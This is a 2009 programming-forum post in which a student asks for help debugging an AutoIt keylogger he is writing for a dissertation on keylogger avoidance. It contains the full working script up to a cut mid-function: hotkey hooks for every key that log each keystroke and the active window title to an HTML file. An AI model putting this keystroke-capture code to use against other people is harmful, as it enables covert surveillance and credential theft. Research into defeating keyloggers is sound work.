Garbit Posted December 9, 2009 Share Posted December 9, 2009 Hi there, In short im studying for a degree in computer science and as part of my dissertation i've planned on investigating secure methods of inputing data into the keyboard and keylogger avoidence. As such im making a keylogger so as to test my various methods however i've come to a grinding halt. My script uses hotkeyset's to detect the keypress and then calls a function dependant on keypress. Each keypress is contatonated to the $log variable which is then written to a html file. When i have been using HotKeySet("ASC insertnumberhere") it detects my holding of the shift key plus the letter a as an ascii command and uses any ascii command that i have in my program. i've tried to limit the hotkeyset ascii commands to various different ones and single ones as well. I've even commented out the HotKeySet("+{a}") and it still fires any old ascii command when i use shift + a (no other shift + anycharacter is effected) I need some closure because im going insane All help very much appreciated expandcollapse popup;#NoTrayIcon ; Press Esc to terminate script, Pause/Break to "pause" #include <Misc.au3> Global $paused Global $log HotKeySet("{PAUSE}", "pauseOnOff") HotKeySet("{ESC}", "killProcess") HotKeySet("+!d", "ShowMessage") ;Shift-Alt-d ;HotKeys for a-z and A-Z HotKeySet("{a}", "_a") HotKeySet("+{a}", "_sA") HotKeySet("{b}", "_b") HotKeySet("+{b}", "_sB") HotKeySet("{c}", "_c") HotKeySet("+{c}", "_sC") HotKeySet("{d}", "_d") HotKeySet("+{d}", "_sD") HotKeySet("{e}", "_e") HotKeySet("+{e}", "_sE") HotKeySet("{f}", "_f") HotKeySet("+{f}", "_sF") HotKeySet("{g}", "_g") HotKeySet("+{g}", "_sG") HotKeySet("{h}", "_h") HotKeySet("+{h}", "_sH") HotKeySet("{i}", "_i") HotKeySet("+{i}", "_sI") HotKeySet("{j}", "_j") HotKeySet("+{j}", "_sJ") HotKeySet("{k}", "_k") HotKeySet("+{k}", "_sK") HotKeySet("{l}", "_l") HotKeySet("+{l}", "_sL") HotKeySet("{m}", "_m") HotKeySet("+{m}", "_sM") HotKeySet("{n}", "_n") HotKeySet("+{n}", "_sN") HotKeySet("{o}", "_o") HotKeySet("+{o}", "_sO") HotKeySet("{p}", "_p") HotKeySet("+{p}", "_sP") HotKeySet("{q}", "_q") HotKeySet("+{q}", "_sQ") HotKeySet("{r}", "_r") HotKeySet("+{r}", "_sR") HotKeySet("{s}", "_s") HotKeySet("+{s}", "_sS") HotKeySet("{t}", "_t") HotKeySet("+{t}", "_sT") HotKeySet("{u}", "_u") HotKeySet("+{u}", "_sU") HotKeySet("{v}", "_v") HotKeySet("+{v}", "_sV") HotKeySet("{w}", "_w") HotKeySet("+{w}", "_sW") HotKeySet("{x}", "_x") HotKeySet("+{x}", "_sX") HotKeySet("{y}", "_y") HotKeySet("+{y}", "_sY") HotKeySet("{z}", "_z") HotKeySet("+{z}", "_sZ") ;keyboard buttons HotKeySet("{SPACE}", "_space") HotKeySet("{TAB}", "_tab") HotKeySet("{ENTER}", "_enter") HotKeySet("{ALT}", "_alt") HotKeySet("{BACKSPACE}", "_backSpace") HotKeySet("{DELETE}", "_delete") HotKeySet("{UP}", "_up") HotKeySet("{DOWN}", "_down") HotKeySet("{LEFT}", "_left") HotKeySet("{RIGHT}", "_right") HotKeySet("{HOME}", "_home") HotKeySet("{END}", "_end") ;HotKeySet("{ESCAPE}", "_escape") HotKeySet("{INSERT}", "_insert") HotKeySet("{PGUP}", "_pgUp") HotKeySet("{PGDN}", "_pgDown") HotKeySet("{PRINTSCREEN}", "_printScreen") ;HotKeySet("{LWIN}", "_lWin") ;HotKeySet("{RWIN}", "_rWin") HotKeySet("{NUMLOCK}", "_numLock") HotKeySet("{BREAK}", "_break") HotKeySet("{PAUSE}", "_pause") HotKeySet("{CAPSLOCK}", "_capsLock") ;numpad keys HotKeySet("{NUMPAD0}", "_numPad0") HotKeySet("{NUMPAD1}", "_numPad1") HotKeySet("{NUMPAD2}", "_numPad2") HotKeySet("{NUMPAD3}", "_numPad3") HotKeySet("{NUMPAD4}", "_numPad4") HotKeySet("{NUMPAD5}", "_numPad5") HotKeySet("{NUMPAD6}", "_numPad6") HotKeySet("{NUMPAD7}", "_numPad7") HotKeySet("{NUMPAD8}", "_numPad8") HotKeySet("{NUMPAD9}", "_numPad9") HotKeySet("{NUMPADMULT}", "_numPadMult") HotKeySet("{NUMPADADD}", "_numPadAdd") HotKeySet("{NUMPADSUB}", "_numPadSub") HotKeySet("{NUMPADDIV}", "_numPadDiv") HotKeySet("{NUMPADDOT}", "_numPadDot") ;HotKeySet("{NUMPADENTER}", "_numPadEnter") ;HotKeySet("{LALT}", "_lAlt") ;HotKeySet("{RALT}", "_rAlt") ;HotKeySet("{LCTRL}", "_lCtrl") ;HotKeySet("{RCTRL}", "_rCtrl") ;HotKeySet("{ASC 015}", "_ShiftIn") ;HotKeySet("{ASC 014}", "_ShiftOut") ;HotKeySet("{SLEEP}", "_sleep") ;HotKeySet("{ALTDOWN}", "_altDown") ;HotKeySet("{CTRLDOWN}", "_cntrlDown") ;HotKeySet("{LWINDOWN}", "_lWinDown") ;HotKeySet("{RWINDOWN}", "_rWinDown") ;symbols, brackets etc HotKeySet("{ASC 033}", "_sExclam") HotKeySet("{ASC 035}", "_sHash") HotKeySet("{ASC 043}", "_sPlus") HotKeySet("{ASC 136}", "_sUpS") HotKeySet("{ASC 123}", "_sCurlR") HotKeySet("{ASC 125}", "_sCurlL") HotKeySet("{ASC 064}", "_sAt") HotKeySet("{ASC 034}", "_sSpeech") HotKeySet("{ASC 036}", "_sDollar") HotKeySet("{ASC 037}", "_sPercent") HotKeySet("{ASC 038}", "_sAnd") HotKeySet("{ASC 039}", "_sSingleSpeech") HotKeySet("{ASC 040}", "_sBracketR") HotKeySet("{ASC 041}", "_sBracketL") HotKeySet("{ASC 058}", "_sColon") HotKeySet("{ASC 059}", "_sSemiColon") HotKeySet("{ASC 091}", "_sSquareBracketR") HotKeySet("{ASC 044}", "_sComma") HotKeySet("{ASC 060}", "_sTriangleBracketR") HotKeySet("{ASC 092}", "_sBackSlash") HotKeySet("{ASC 124}", "_sLine") HotKeySet("{ASC 045}", "_sDash") HotKeySet("{ASC 061}", "_sEquals") HotKeySet("{ASC 093}", "_sSquareBracketL") HotKeySet("{ASC 046}", "_sFullStop") HotKeySet("{ASC 062}", "_sTriangleBracketL") HotKeySet("{ASC 126}", "_sTilde") HotKeySet("{ASC 047}", "_sForwardSlash") HotKeySet("{ASC 063}", "_sQuestionMark") HotKeySet("{ASC 095}", "_sUnderScore") ;Function Keys HotKeySet("{F1}", "_f1") HotKeySet("{F2}", "_f2") HotKeySet("{F3}", "_f3") HotKeySet("{F4}", "_f4") HotKeySet("{F5}", "_f5") HotKeySet("{F6}", "_f6") HotKeySet("{F7}", "_f7") HotKeySet("{F8}", "_f8") HotKeySet("{F9}", "_f9") HotKeySet("{F10}", "_f10") HotKeySet("{F11}", "_f11") HotKeySet("{F12}", "_f12") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;Create text file for later editing ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $currentDirectory = @ScriptDir ;$date=" " & @YEAR & "/" & @MON & "/" & @MDAY & " - " & @HOUR & ":" & @MIN & ":" & @SEC $date=@Year&"-"&@mon&"-"&@mday&" at "&@HOUR & "-" &@MIN & "-" &@SEC $textFileDirectory = FileOpen($currentDirectory&"\keylogger-Captured-Text at "&$date&".htm", 1) ;ensure that text file has been created successfully and exit if it and error if it fails If $textFileDirectory = -1 Then MsgBox(0, "Error", "Unable to open file.") Exit EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;Body of the script will continue to run until stopped ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; writeToLogHeader("<table align=center> <th colspan=2> Key Logged Activities </th> <tr><td align=center> Key Pressed </td><td align=center> Window Location </td></tr>") While 1 ;Show user that keylogger Active ToolTip('Keylogger Active and capturing keystrokes',0,0) Sleep(1000) $date=@Year&"-"&@mon&"-"&@mday&" at "&@HOUR & "-" &@MIN & "-" &@SEC WEnd Func _a() HotKeySet ("{a}") send("a") $window=wingettitle("") $log = $log & "<tr><td align=center> a </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{a}" , "_a") EndFunc Func _sA() HotKeySet ("+{a}") send("+{a}") $window=wingettitle("") $log = $log & "<tr><td align=center> A </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{a}" , "_sA") EndFunc Func _b() HotKeySet ("{b}") send("{b}") $window=wingettitle("") $log = $log & "<tr><td align=center> b </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{b}" , "_b") EndFunc Func _sB() HotKeySet ("+{b}") send("+{b}") $window=wingettitle("") $log = $log & "<tr><td align=center> B </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{b}" , "_sB") EndFunc Func _c() HotKeySet ("{c}") send("{c}") $window=wingettitle("") $log = $log & "<tr><td align=center> c </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{c}" , "_c") EndFunc Func _sC() HotKeySet ("+{c}") send("+{c}") $window=wingettitle("") $log = $log & "<tr><td align=center> C </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{c}" , "_sC") EndFunc Func _d() HotKeySet ("{d}") send("{d}") $window=wingettitle("") $log = $log & "<tr><td align=center> d </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{d}" , "_d") EndFunc Func _sD() HotKeySet ("+{d}") send("+{d}") $window=wingettitle("") $log = $log & "<tr><td align=center> D </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{d}" , "_sD") EndFunc Func _e() HotKeySet ("{e}") send("{e}") $window=wingettitle("") $log = $log & "<tr><td align=center> e </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{e}" , "_e") EndFunc Func _sE() HotKeySet ("+{e}") send("+{e}") $window=wingettitle("") $log = $log & "<tr><td align=center> E </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{e}" , "_sE") EndFunc Func _f() HotKeySet ("{f}") send("{f}") $window=wingettitle("") $log = $log & "<tr><td align=center> f </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{f}" , "_f") EndFunc Func _sF() HotKeySet ("+{f}") send("+{f}") $window=wingettitle("") $log = $log & "<tr><td align=center> F </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{f}" , "_sF") EndFunc Func _g() HotKeySet ("{g}") send("{g}") $window=wingettitle("") $log = $log & "<tr><td align=center> g </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{g}" , "_g") EndFunc Func _sG() HotKeySet ("+{g}") send("+{g}") $window=wingettitle("") $log = $log & "<tr><td align=center> G </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{g}" , "_sG") EndFunc Func _h() HotKeySet ("{h}") send("{h}") $window=wingettitle("") $log = $log & "<tr><td align=center> h </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{h}" , "_h") EndFunc Func _sH() HotKeySet ("+{h}") send("+{h}") $window=wingettitle("") $log = $log & "<tr><td align=center> H </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{h}" , "_sH") EndFunc Func _i() HotKeySet ("{i}") send("{i}") $window=wingettitle("") $log = $log & "<tr><td align=center> i </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{i}" , "_i") EndFunc Func _sI() HotKeySet ("+{i}") send("+{i}") $window=wingettitle("") $log = $log & "<tr><td align=center> I </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{i}" , "_sI") EndFunc Func _j() HotKeySet ("{j}") send("{j}") $window=wingettitle("") $log = $log & "<tr><td align=center> j </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{j}" , "_j") EndFunc Func _sJ() HotKeySet ("+{j}") send("+{j}") $window=wingettitle("") $log = $log & "<tr><td align=center> J </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{j}" , "_sJ") EndFunc Func _k() HotKeySet ("{k}") send("{k}") $window=wingettitle("") $log = $log & "<tr><td align=center> k </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{k}" , "_k") EndFunc Func _sK() HotKeySet ("+{k}") send("+{k}") $window=wingettitle("") $log = $log & "<tr><td align=center> K </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{k}" , "_sK") EndFunc Func _l() HotKeySet ("{l}") send("{l}") $window=wingettitle("") $log = $log & "<tr><td align=center> l </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{l}" , "_l") EndFunc Func _sL() HotKeySet ("+{l}") send("+{l}") $window=wingettitle("") $log = $log & "<tr><td align=center> L </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{l}" , "_sL") EndFunc Func _m() HotKeySet ("{m}") send("{m}") $window=wingettitle("") $log = $log & "<tr><td align=center> m </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{m}" , "_m") EndFunc Func _sM() HotKeySet ("+{m}") send("+{m}") $window=wingettitle("") $log = $log & "<tr><td align=center> M </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{m}" , "_sM") EndFunc Func _n() HotKeySet ("{n}") send("{n}") $window=wingettitle("") $log = $log & "<tr><td align=center> n </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{n}" , "_n") EndFunc Func _sN() HotKeySet ("+{n}") send("+{n}") $window=wingettitle("") $log = $log & "<tr><td align=center> N </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{n}" , "_sN") EndFunc Func _o() HotKeySet ("{o}") send("{o}") $window=wingettitle("") $log = $log & "<tr><td align=center> o </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{o}" , "_o") EndFunc Func _sO() HotKeySet ("+{o}") send("+{o}") $window=wingettitle("") $log = $log & "<tr><td align=center> O </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{o}" , "_sO") EndFunc Func _p() HotKeySet ("{p}") send("{p}") $window=wingettitle("") $log = $log & "<tr><td align=center> p </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{p}" , "_p") EndFunc Func _sP() HotKeySet ("+{p}") send("+{p}") $window=wingettitle("") $log = $log & "<tr><td align=center> P </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{p}" , "_sP") EndFunc Func _q() HotKeySet ("{q}") send("{q}") $window=wingettitle("") $log = $log & "<tr><td align=center> q </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{q}" , "_q") EndFunc Func _sQ() HotKeySet ("+{q}") send("+{q}") $window=wingettitle("") $log = $log & "<tr><td align=center> Q </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{q}" , "_sQ") EndFunc Func _r() HotKeySet ("{r}") send("{r}") $window=wingettitle("") $log = $log & "<tr><td align=center> r </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{r}" , "_r") EndFunc Func _sR() HotKeySet ("+{r}") send("+{r}") $window=wingettitle("") $log = $log & "<tr><td align=center> R </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{r}" , "_sR") EndFunc Func _s() HotKeySet ("{s}") send("{s}") $window=wingettitle("") $log = $log & "<tr><td align=center> s </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{s}" , "_s") EndFunc Func _sS() HotKeySet ("+{s}") send("+{s}") $window=wingettitle("") $log = $log & "<tr><td align=center> S </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{s}" , "_sS") EndFunc Func _t() HotKeySet ("{t}") send("{t}") $window=wingettitle("") $log = $log & "<tr><td align=center> t </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{t}" , "_t") EndFunc Func _sT() HotKeySet ("+{t}") send("+{t}") $window=wingettitle("") $log = $log & "<tr><td align=center> T </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{t}" , "_sT") EndFunc Func _u() HotKeySet ("{u}") send("{u}") $window=wingettitle("") $log = $log & "<tr><td align=center> u </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{u}" , "_u") EndFunc Func _sU() HotKeySet ("+{u}") send("+{u}") $window=wingettitle("") $log = $log & "<tr><td align=center> U </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{u}" , "_sU") EndFunc Func _v() HotKeySet ("{v}") send("{v}") $window=wingettitle("") $log = $log & "<tr><td align=center> v </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{v}" , "_v") EndFunc Func _sV() HotKeySet ("+{v}") send("+{v}") $window=wingettitle("") $log = $log & "<tr><td align=center> V </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{v}" , "_sV") EndFunc Func _w() HotKeySet ("{w}") send("{w}") $window=wingettitle("") $log = $log & "<tr><td align=center> w </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{w}" , "_w") EndFunc Func _sW() HotKeySet ("+{w}") send("+{w}") $window=wingettitle("") $log = $log & "<tr><td align=center> W </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{w}" , "_sW") EndFunc Func _x() HotKeySet ("{x}") send("{x}") $window=wingettitle("") $log = $log & "<tr><td align=center> x </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{x}" , "_x") EndFunc Func _sX() HotKeySet ("+{x}") send("+{x}") $window=wingettitle("") $log = $log & "<tr><td align=center> X </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{x}" , "_sX") EndFunc Func _y() HotKeySet ("{y}") send("{y}") $window=wingettitle("") $log = $log & "<tr><td align=center> y </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{y}" , "_y") EndFunc Func _sY() HotKeySet ("+{y}") send("+{y}") $window=wingettitle("") $log = $log & "<tr><td align=center> Y </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{y}" , "_sY") EndFunc Func _z() HotKeySet ("{z}") send("{z}") $window=wingettitle("") $log = $log & "<tr><td align=center> z </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{z}" , "_z") EndFunc Func _sZ() HotKeySet ("+{z}") send("+{z}") $window=wingettitle("") $log = $log & "<tr><td align=center> Z </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ( "+{z}" , "_sZ") EndFunc ;Functions for other keys Func _space() HotKeySet ("{SPACE}") send("{SPACE}") $window=wingettitle("") $log = $log & "<tr><td align=center> SPACE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{SPACE}" , "_space") EndFunc Func _tab() HotKeySet ("{TAB}") send("{TAB}") $window=wingettitle("") $log = $log & "<tr><td align=center> TAB </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{TAB}" , "_tab") EndFunc Func _enter() HotKeySet ("{ENTER}") send("{ENTER}") $window=wingettitle("") $log = $log & "<tr><td align=center> ENTER </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ENTER}" , "_enter") EndFunc Func _alt() HotKeySet ("{ALT}") send("{ALT}") $window=wingettitle("") $log = $log & "<tr><td align=center> ALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ALT}" , "_alt") EndFunc Func _backSpace() HotKeySet ("{BACKSPACE}") send("{BACKSPACE}") $window=wingettitle("") $log = $log & "<tr><td align=center> BACKSPACE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{BACKSPACE}" , "_backSpace") EndFunc Func _delete() HotKeySet ("{DELETE}") send("{DELETE}") $window=wingettitle("") $log = $log & "<tr><td align=center> DELETE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{DELETE}" , "_delete") EndFunc Func _up() HotKeySet ("{UP}") send("{UP}") $window=wingettitle("") $log = $log & "<tr><td align=center> UP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{UP}" , "_up") EndFunc Func _down() HotKeySet ("{DOWN}") send("{DOWN}") $window=wingettitle("") $log = $log & "<tr><td align=center> DOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{DOWN}" , "_down") EndFunc Func _left() HotKeySet ("{LEFT}") send("{LEFT}") $window=wingettitle("") $log = $log & "<tr><td align=center> LEFT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{LEFT}" , "_left") EndFunc Func _right() HotKeySet ("{RIGHT}") send("{RIGHT}") $window=wingettitle("") $log = $log & "<tr><td align=center> RIGHT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{RIGHT}" , "_right") EndFunc Func _home() HotKeySet ("{HOME}") send("{HOME}") $window=wingettitle("") $log = $log & "<tr><td align=center> HOME </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{HOME}" , "_home") EndFunc Func _end() HotKeySet ("{END}") send("{END}") $window=wingettitle("") $log = $log & "<tr><td align=center> END </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{END}" , "_end") EndFunc Func _escape() HotKeySet ("{ESCAPE}") send("{ESCAPE}") $window=wingettitle("") $log = $log & "<tr><td align=center> ESCAPE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{ESCAPE}" , "_escape") EndFunc Func _insert() HotKeySet ("{INSERT}") send("{INSERT}") $window=wingettitle("") $log = $log & "<tr><td align=center> INSERT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{INSERT}" , "_insert") EndFunc Func _pgUp() HotKeySet ("{PGUP}") send("{PGUP}") $window=wingettitle("") $log = $log & "<tr><td align=center> PGUP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{PGUP}" , "_pgUp") EndFunc Func _pgDown() HotKeySet ("{PGDN}") send("{PGDN}") $window=wingettitle("") $log = $log & "<tr><td align=center> PGDN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{PGDN}" , "_pgDown") EndFunc Func _printScreen() HotKeySet ("{PRINTSCREEN}") send("{PRINTSCREEN}") $window=wingettitle("") $log = $log & "<tr><td align=center> PRINTSCREEN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{PRINTSCREEN}" , "_printScreen") EndFunc Func _lWin() HotKeySet ("{LWIN}") send("{LWIN}") $window=wingettitle("") $log = $log & "<tr><td align=center> LWIN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{LWIN}" , "_lWin") EndFunc Func _rWin() HotKeySet ("{RWIN}") send("{RWIN}") $window=wingettitle("") $log = $log & "<tr><td align=center> RWIN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{RWIN}" , "_rWin") EndFunc Func _numLock() HotKeySet ("{NUMLOCK}") send("{NUMLOCK}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMLOCK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMLOCK}" , "_numLock") EndFunc Func _break() HotKeySet ("{BREAK}") send("{BREAK}") $window=wingettitle("") $log = $log & "<tr><td align=center> BREAK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{BREAK}" , "_break") EndFunc Func _pause() HotKeySet ("{PAUSE}") send("{PAUSE}") $window=wingettitle("") $log = $log & "<tr><td align=center> PAUSE </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{PAUSE}" , "_pause") EndFunc Func _capsLock() HotKeySet ("{CAPSLOCK}") send("{CAPSLOCK}") $window=wingettitle("") $log = $log & "<tr><td align=center> CAPSLOCK </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{CAPSLOCK}" , "_capsLock") EndFunc ;numpad keys Func _numPad0() HotKeySet ("{NUMPAD0}") send("{NUMPAD0}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD0 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD0}" , "_numPad0") EndFunc Func _numPad1() HotKeySet ("{NUMPAD1}") send("{NUMPAD1}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD1 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD1}" , "_numPad1") EndFunc Func _numPad2() HotKeySet ("{NUMPAD2}") send("{NUMPAD2}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD2 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD2}" , "_numPad2") EndFunc Func _numPad3() HotKeySet ("{NUMPAD3}") send("{NUMPAD3}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD3 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD3}" , "_numPad3") EndFunc Func _numPad4() HotKeySet ("{NUMPAD4}") send("{NUMPAD4}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD4 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD4}" , "_numPad4") EndFunc Func _numPad5() HotKeySet ("{NUMPAD5}") send("{NUMPAD5}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD5 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD5}" , "_numPad5") EndFunc Func _numPad6() HotKeySet ("{NUMPAD6}") send("{NUMPAD6}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD6 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD6}" , "_numPad6") EndFunc Func _numPad7() HotKeySet ("{NUMPAD7}") send("{NUMPAD7}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD7 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD7}" , "_numPad7") EndFunc Func _numPad8() HotKeySet ("{NUMPAD8}") send("{NUMPAD8}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD8 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD8}" , "_numPad8") EndFunc Func _numPad9() HotKeySet ("{NUMPAD9}") send("{NUMPAD9}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPAD9 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPAD9}" , "_numPad9") EndFunc Func _numPadMult() HotKeySet ("{NUMPADMULT}") send("{NUMPADMULT}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADMULT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADMULT}" , "_numPadMult") EndFunc Func _numPadAdd() HotKeySet ("{NUMPADADD}") send("{NUMPADADD}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADADD </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADADD}" , "_numPadAdd") EndFunc Func _numPadSub() HotKeySet ("{NUMPADSUB}") send("{NUMPADSUB}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADSUB </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADSUB}" , "_numPadSub") EndFunc Func _numPadDiv() HotKeySet ("{NUMPADDIV}") send("{NUMPADDIV}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADDIV </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADDIV}" , "_numPadDiv") EndFunc Func _numPadDot() HotKeySet ("{NUMPADDOT}") send("{NUMPADDOT}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADDOT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADDOT}" , "_numPadDot") EndFunc Func _numPadEnter() HotKeySet ("{NUMPADENTER}") send("{NUMPADENTER}") $window=wingettitle("") $log = $log & "<tr><td align=center> NUMPADENTER </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{NUMPADENTER}" , "_numPadEnter") EndFunc #cs Func _lAlt() HotKeySet ("{LALT}") send("{LALT}") $window=wingettitle("") $log = $log & "<tr><td align=center> LALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{LALT}" , "_lAlt") EndFunc Func _rAlt() HotKeySet ("{RALT}") send("{RALT}") $window=wingettitle("") $log = $log & "<tr><td align=center> RALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{RALT}" , "_rAlt") EndFunc Func _lCtrl() HotKeySet ("{LCTRL}") send("{LCTRL}") $window=wingettitle("") $log = $log & "<tr><td align=center> LCTRL </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{LCTRL}" , "_lCtrl") EndFunc Func _rCtrl() HotKeySet ("{RCTRL}") send("{RCTRL}") $window=wingettitle("") $log = $log & "<tr><td align=center> RCTRL </td><td align=center>" & $window & "</td><td>" & $date & "</tr>" HotKeySet ("{RCTRL}" , "_rCtrl") EndFunc Func _ShiftIn() 